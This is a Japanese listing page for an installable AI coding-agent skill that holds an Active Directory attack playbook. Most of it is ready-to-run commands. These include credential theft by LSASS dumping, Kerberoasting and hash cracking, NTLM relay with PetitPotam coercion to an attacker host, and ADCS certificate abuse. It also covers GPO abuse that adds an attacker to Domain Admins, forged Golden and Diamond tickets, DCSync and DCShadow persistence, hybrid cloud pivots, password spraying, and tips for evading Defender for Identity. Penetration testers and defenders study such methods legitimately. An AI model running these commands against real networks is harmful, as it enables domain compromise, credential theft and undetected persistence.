mcpField
O
offensive-active-directory

offensive-active-directory

github.com/snailsploitセキュリティ9.7k179 回インストール2 週間前に更新
リポジトリ

offensive-active-directory について

セキュリティ評価者向けの Active Directory 攻撃テスト手法です。偵察、認証情報の取得、権限昇格、横展開、永続化を、コマンド例と確認項目とともに扱います。

主な機能

  1. 01オフラインおよび稼働中のディレクトリ偵察
  2. 02認証情報取得と Kerberos 攻撃
  3. 03ACL、委任、ADCS による権限昇格
  4. 04横展開と永続化
  5. 05ハイブリッド ID と検知回避の要点

活用シーン

  1. 01Active Directory ペネトレーションテストの計画
  2. 02ドメイン内の昇格経路と信頼関係の評価
  3. 03評価中の攻撃経路の記録

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/snailsploit/claude-red --skill offensive-active-directory

インストール後、Claude Code で/offensive-active-directoryを入力して読み込まれたか確認します。

詳細

Active Directory — 攻撃テスト手法

クイックワークフロー

  1. AD 構造をオフラインで調査します(BloodHound、ADExplorer スナップショット)。ライブクエリは最小限に抑えます
  2. 許可されている場合は、ポイズニング、Kerberoasting、ASREProast、または LSASS を使って認証情報を収集します
  3. Domain Admin/Enterprise Admin/Tier 0 につながる攻撃経路を特定します
  4. 検知コストが最も低い経路を実行し、各ホップで検証します
  5. 永続化を確立し、すべての操作をタイムスタンプ付きで記録します

偵察

BloodHound の収集
# SharpHound (CSharp collector) — most stealthy with throttling
SharpHound.exe -c All,GPOLocalGroup --Throttle 1000 --Jitter 30 --ZipFileName recon.zip

# Stealth collection (DC-only, avoids workstation noise)
SharpHound.exe -c DCOnly --Stealth

# Bloodhound.py from Linux (no Windows host needed)
bloodhound-python -d corp.local -u user -p pass -ns 10.0.0.1 -c All
PowerView(ツールを配置しない)
# Domain enumeration without binaries
$d = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
Get-DomainUser -SPN | Select samaccountname,serviceprincipalname
Get-DomainComputer -Unconstrained
Get-DomainGPO | ?{$_.gpcmachineextensionnames -match "Restricted Groups"}
Get-DomainObjectAcl -Identity 'Domain Admins' -ResolveGUIDs |
  ?{$_.ActiveDirectoryRights -match 'WriteDacl|GenericAll|WriteOwner'}
ADExplorer のオフライン利用
# Take snapshot from any low-priv user, analyze offline
ADExplorer.exe → File → Create Snapshot
# Convert to BloodHound format
ADExplorerSnapshot.py snapshot.dat -o output/

認証情報の収集

LLMNR/NBT-NS/mDNS ポイズニング
# Capture NetNTLMv2 hashes from broadcast resolution
responder -I eth0 -wrf

# Inveigh (Windows-side, when you have a foothold)
Invoke-Inveigh -ConsoleOutput Y -NBNS Y -mDNS Y -HTTP Y

hashcat のモード 5600 でクラックします。クラックできない場合は、代わりにリレーします。

NTLM リレー
# Identify relay targets (no SMB signing, LDAP signing not required)
nxc smb 10.0.0.0/24 --gen-relay-list relay-targets.txt

# Relay to LDAP/LDAPS for ACL abuse, ADCS for cert request
impacket-ntlmrelayx -tf relay-targets.txt -smb2support \
  --escalate-user attacker --delegate-access

# Relay to ADCS Web Enrollment (ESC8) — requires HTTP endpoint up
impacket-ntlmrelayx -t http://ca/certsrv/certfnsh.asp \
  --adcs --template DomainController
Kerberoasting
# Request TGS for all SPN-bearing accounts
Rubeus.exe kerberoast /outfile:tgs.txt /nowrap
# AES-only accounts (harder to crack but worth attempting)
Rubeus.exe kerberoast /aes /outfile:tgs_aes.txt
# Cross-platform from Linux
impacket-GetUserSPNs corp.local/user:pass -dc-ip 10.0.0.1 -request
hashcat -m 13100 tgs.txt rockyou.txt -r OneRuleToRuleThemAll.rule
ASREProasting
# Find users with DONT_REQUIRE_PREAUTH set
impacket-GetNPUsers corp.local/ -usersfile users.txt -dc-ip 10.0.0.1 -no-pass
hashcat -m 18200 asrep.txt rockyou.txt
LSASS/SAM のダンプ
:: Modern, AV-friendly: comsvcs.dll minidump
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <PID> C:\out.dmp full

:: Task Manager → lsass.exe → Create dump file (GUI route, no binary drop)

:: nanodump (handle duplication, no MiniDumpWriteDump)
nanodump.exe --pid <PID> -w lsass.dmp --valid

Mimikatz または pypykatz でオフライン解析します。

pypykatz lsa minidump lsass.dmp

AD 内での権限昇格

ACL の悪用
権限悪用方法
GenericAll/GenericWriteSPN を追加 → Kerberoast、パスワードをリセット、メンバーを追加
WriteDacl自分に DCSync 権限を付与し、DCSync を実行
WriteOwner所有権を取得 → 権限を付与 → 悪用
AllExtendedRights(ユーザー)パスワード変更を強制
AllExtendedRights(ドメイン)DCSync
AddMember自分を特権グループに追加
WriteSPNSPN を設定し、ターゲットを Kerberoast
# Targeted Kerberoast (write SPN, roast, remove SPN)
Set-DomainObject -Identity victim -Set @{serviceprincipalname='fake/SPN'}
Rubeus.exe kerberoast /user:victim
Set-DomainObject -Identity victim -Clear serviceprincipalname

# Grant DCSync via WriteDacl
Add-DomainObjectAcl -TargetIdentity 'DC=corp,DC=local' \
  -PrincipalIdentity attacker -Rights DCSync
Kerberos 委任
# Find delegation
Get-DomainComputer -Unconstrained
Get-DomainUser -TrustedToAuth
Get-DomainComputer -TrustedToAuth

# Unconstrained → wait for / coerce DC auth, capture TGT
Rubeus.exe monitor /interval:5 /nowrap

# Constrained (S4U2self/S4U2proxy) — impersonate any user to allowed SPN
Rubeus.exe s4u /user:svc_acct /rc4:<hash> /impersonateuser:Administrator \
  /msdsspn:cifs/dc.corp.local /ptt

# Resource-Based Constrained Delegation (RBCD) — write msDS-AllowedToActOnBehalfOfOtherIdentity
# Requires GenericAll/GenericWrite on the target computer object
強制認証のプリミティブ
手法ツール/RPC
PetitPotamMS-EFSRPC(EfsRpcOpenFileRaw、EfsRpcEncryptFileSrv)
PrinterBugMS-RPRN(RpcRemoteFindFirstPrinterChangeNotificationEx)
DFSCoerceMS-DFSNM(NetrDfsRemoveStdRoot)
ShadowCoerceMS-FSRVP
WebDAV任意の Web フェッチに埋め込まれた UNC パスを検索・置換
# Coerce + relay full chain
impacket-ntlmrelayx -t ldap://dc -smb2support --delegate-access &
PetitPotam.py -u low -p pass attacker-ip dc-ip
# Result: RBCD set, S4U → DA on coerced machine
GPO の悪用
# Find GPOs you can edit
Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs |
  ?{ $_.SecurityIdentifier -eq (Get-DomainUser current).objectsid `
     -and $_.ActiveDirectoryRights -match 'WriteProperty|WriteDacl' }

# SharpGPOAbuse — add scheduled task / immediate task to GPO
SharpGPOAbuse.exe --AddComputerTask --TaskName Update --Author NT\System \
  --Command cmd.exe --Arguments "/c net group 'Domain Admins' attacker /add /domain" \
  --GPOName "Workstation Policy"

ADCS の悪用 — ESC1 から ESC15

列挙
certipy find -u [email protected] -p pass -dc-ip 10.0.0.1 -vulnerable -stdout
よくある設定ミス
ID設定ミス悪用方法
ESC1Client Auth + ENROLLEE_SUPPLIES_SUBJECT任意の UPN を指定して証明書を要求
ESC2Any Purpose EKUあらゆる用途で有効な証明書を要求
ESC3Enrollment Agentエージェント証明書を要求し、その後、任意のユーザーの代理として要求
ESC4脆弱なテンプレート ACLテンプレートを ESC1 に変更
ESC6CA の EDITF_ATTRIBUTESUBJECTALTNAME2任意のテンプレートで SAN を注入
ESC7脆弱な CA ACL(ManageCA)自分の保留中の要求を承認
ESC8Web Enrollment が HTTP で、EPA なしNTLM リレー → 証明書
ESC9セキュリティ拡張なし + UPNアカウント名変更後に UPN を偽装
ESC10StrongCertificateBindingEnforcement が弱いアカウント名を変更せずに UPN を偽装
ESC11RPC が保護されていない(ICertPassage の IF_ENFORCEENCRYPTICERTREQUEST なし)RPC 経由でリレー
ESC13発行ポリシーがグループに紐付けられている証明書によってグループメンバーシップを付与
ESC14altSecurityIdentities への書き込み攻撃者の証明書を管理者にマッピング
ESC15EKUwu — スキーマ v1 テンプレート要求時に EKU を注入
ESC1 の悪用
# Request cert as Administrator
certipy req -u [email protected] -p pass -ca CORP-CA -template VulnTemplate \
  -upn [email protected]

# Use cert to get TGT and NT hash via UnPAC-the-Hash
certipy auth -pfx administrator.pfx -dc-ip 10.0.0.1
ESC8(Web Enrollment リレー)
# Coerce any DC, relay to ADCS Web Enrollment, request DC cert
impacket-ntlmrelayx -t http://ca/certsrv/certfnsh.asp \
  --adcs --template DomainController &
PetitPotam.py attacker-ip dc.corp.local
# Result: cert for DC$ → TGT → DCSync

横方向移動

Pass-the-Hash/Overpass-the-Hash
# PTH with NT hash
nxc smb 10.0.0.0/24 -u admin -H <NThash> --local-auth
impacket-psexec corp/admin@target -hashes :<NThash>

# Overpass-the-Hash (NT hash → TGT, useful for Kerberos-only targets)
Rubeus.exe asktgt /user:admin /rc4:<NThash> /ptt
Pass-the-Ticket
# Inject TGT
Rubeus.exe ptt /ticket:base64.kirbi
# Or from .ccache
KRB5CCNAME=admin.ccache impacket-secretsdump -k -no-pass dc.corp.local
目立たない横方向移動ツール
# WinRM (no event logs in default channel for command exec)
evil-winrm -i target -u admin -H <hash>

# SMB exec without service creation (uses task scheduler)
impacket-atexec corp/admin@target -hashes :<hash> "whoami"

# WMI
impacket-wmiexec corp/admin@target -hashes :<hash>

# DCOM (MMC20.Application, ShellWindows, ShellBrowserWindow)
Invoke-DCOM -ComputerName target -Method MMC20 -Command "calc.exe"

永続化

Golden Ticket(krbtgt の偽造)
# Requires krbtgt NT hash (from DCSync)
impacket-ticketer -nthash <krbtgt-NT> -domain-sid S-1-5-21-... -domain corp.local Administrator
KRB5CCNAME=Administrator.ccache impacket-psexec -k -no-pass dc.corp.local
Silver Ticket(サービスごとの偽造)
# Forge TGS for a specific service using its account hash
impacket-ticketer -nthash <svc-NT> -domain-sid <SID> -domain corp.local \
  -spn cifs/server.corp.local Administrator
Diamond/Sapphire Ticket(最新手法。krbtgt に対する MDI を回避)
# Diamond — modify legitimate TGT in-flight (no krbtgt hash on wire)
Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /groups:512
DCSync
impacket-secretsdump -just-dc-user 'corp/krbtgt' corp/admin@dc -hashes :<hash>
# In-memory PowerShell variant (Mimikatz)
Invoke-Mimikatz -Command '"lsadump::dcsync /user:krbtgt"'
DCShadow(不正な DC を登録して変更を反映)
mimikatz # !+
mimikatz # !processtoken
mimikatz # lsadump::dcshadow /object:CN=victim,... /attribute:primaryGroupID /value:519
mimikatz # lsadump::dcshadow /push
AdminSDHolder

CN=AdminSDHolder,CN=System,DC=corp,DC=local に対して、自分のアカウントに GenericAll を付与する ACE を追加します。SDProp は 60 分ごとに、すべての保護対象グループへ伝播します。


フォレストと信頼関係への攻撃

# Map trusts
Get-DomainTrust -SearchBase "DC=corp,DC=local"
Get-ForestTrust

# SID History injection (cross-forest if SID filtering disabled)
# ExtraSids in golden ticket → admin in trusted forest
impacket-ticketer -nthash <krbtgt> -domain-sid <child-SID> \
  -extra-sid S-1-5-21-<parent>-519 -domain child.corp.local Administrator

# Trust ticket forging (inter-realm TGT)
Rubeus.exe asktgs /service:krbtgt/parent.local /ticket:trust-ticket.kirbi

ハイブリッド AD / Entra ID(Azure AD)のピボット

ピボット手順
AAD Connect サーバーの侵害MSOL_ アカウントをダンプ → オンプレミスで DCSync
Seamless SSOAZUREADSSOACC$ の Kerberos チケットを偽造 → クラウド SSO で任意のユーザーとして認証
PTA エージェントMicrosoft.Azure.SecurityTokenService を DLL ハイジャック → 平文を窃取
PHS ハッシュ同期AAD Connect SQL(ADSync DB)からオンプレミスのハッシュを読み取る
フェデレーション信頼盗んだ ADFS トークン署名証明書を使って SAML トークンを偽造(Golden SAML)
Pass-the-PRTデバイスから PRT Cookie を窃取 → ユーザーとしてクラウドセッションを取得
# AADInternals — Hybrid identity attack toolkit
Get-AADIntADSyncCredentials  # Extract MSOL_ creds from AAD Connect
Open-AADIntOffice365Portal -AccessToken $token
New-AADIntSAMLToken -ImmutableID 'a==' -Issuer 'http://sts/adfs/services/trust' \
  -PfxFileName 'token-signing.pfx'

検知回避(MDI / Defender for Identity)

MDI の検出機能回避方法
ハニートークンアカウントへのアクセスアカウントにアクセスする前に、必ず description と最近のアクティビティを確認する
SAMR による偵察ADWS / LDAP のみを使用して収集し、頻度を抑える
不審な Kerberos 委任監視対象の DC で、ノイズの多い S4U2self チェーンを避ける
Golden/Silver Ticket の検出Diamond/Sapphire の亜種を使い、正規のチケット有効期間/暗号化方式に合わせる
DC 以外からの DCSyncレプリケーションが許可された正規のアカウントを経由して中継する
Pass-the-Hash後のラテラルムーブメントに備え、overpass-the-hash を使って Kerberos に変換する
# Identify MDI sensors before noisy actions
Get-DomainComputer -SPN '*MicrosoftATA*'
Get-DomainComputer | ?{ $_.servicePrincipalName -match 'AATPSensor' }

エンゲージメント用チートシート

# 1. Anonymous LDAP enum (no creds)
ldapsearch -x -H ldap://dc -s base -b "" "(objectclass=*)"
nxc ldap dc -u '' -p '' --users

# 2. Null SMB session
nxc smb dc -u '' -p '' --shares
impacket-rpcclient -U '' dc -no-pass

# 3. Password spray (low and slow)
nxc smb dc -u users.txt -p 'Winter2025!' --continue-on-success

# 4. Once authed: full enum + BloodHound
bloodhound-python -d corp.local -u user -p pass -ns dc -c All --zip

# 5. Identify attack path → execute → loot → persist

主な参考資料

  • MITRE ATT&CK:TA0006(認証情報へのアクセス)、TA0008(ラテラルムーブメント)、T1558(Kerberos の窃取/偽造)
  • ADCS:SpecterOps「Certified Pre-Owned」(Schroeder、Christensen)
  • BloodHound:bloodhound.specterops.io
  • 強制認証:github.com/p0dalirius/Coercer(統合強制認証ツールキット)
  • ソース:https://github.com/SnailSploit/offensive-checklist/blob/main/active-directory.md

コメント